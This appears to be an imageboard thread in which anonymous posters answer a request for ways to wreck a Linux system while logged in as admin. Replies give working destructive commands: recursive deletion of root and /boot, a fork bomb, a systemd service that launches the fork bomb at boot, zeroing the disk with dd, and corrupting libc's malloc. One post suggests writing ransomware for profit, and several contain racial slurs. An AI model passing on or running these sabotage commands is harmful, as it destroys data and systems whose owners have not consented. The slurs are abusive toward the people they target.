I'm logged in as an admin on a Linux system
how do I fuck it up?
>>58470032
rm -rf /
>>58470040
idiot, --preserve-root is enabled by default
>>58470032
just do rm -rf /boot it will delete boot loader and kernel
:(){ :|:& };:
in bash
>>58470050
>not using gentoo
you are like a little baby
echo "[Unit]\
Description=Coolbeans\
\
[Service]\
ExecStart=":(){:|:&};:"\
\
[Install]\
WantedBy=multi-user.target\
" > /etc/systemd/system/coolbeans.service
then
systemctl enable coolbeans.service
> they are helping him
what if he is in your bank account retards.
>>58470032
dumb frogposter
>>58470175
Any bank worth a shit runs Windows, retard.
>logged in as admin
>Linux
mount -o remount ro /
>>58470032
poweroff
>>58470209
Shit
mount -o remount,ro /
>non destructive btw
>>58470136
Clever and devilish
>>58470209
No point
visudo
add Default insults to list.
>>58470247
You lack imagination.
Shit doesn't work properly and there are access errors, they go to investigate and see that / is mounted ro, the first thing they assume is that the filesystem is hosed. Its a good prank.
>>58470032
>how do I fuck it up?
Try to do something productive with the machine and it'll do it for you.
>>58470488
thanks for the reminder
>>58470032
dd if=/dev/zero of=/dev/sda
>>58470032
nonononon wait!
overwrite all disc space se they cant recover
fucking build or rip some ransomware written in python and make a nice profit
>>58470060
>>58470136
what does this do?
>>58471164
it prints smileys with nigger lips into terminal
>>58470032
Modify libc so that calls to malloc randomly fail a small percentage of the time.
That will be fucking brutal to debug.
>>58471178
Topkek
>>58470050
>using new and untested versions
LMAO
>>58471178
>using the smiley with the nigger lips.
>>58471164
Spawns a cancerous process that keeps splitting itself. The number of processes can quickly overwhelm the kernel and lock up the machine. Some systems may have per-user process count limits to prevent this.
The longer piece of code configures the above "fork bomb" as a system service. This is clearly the proper way to use systemd.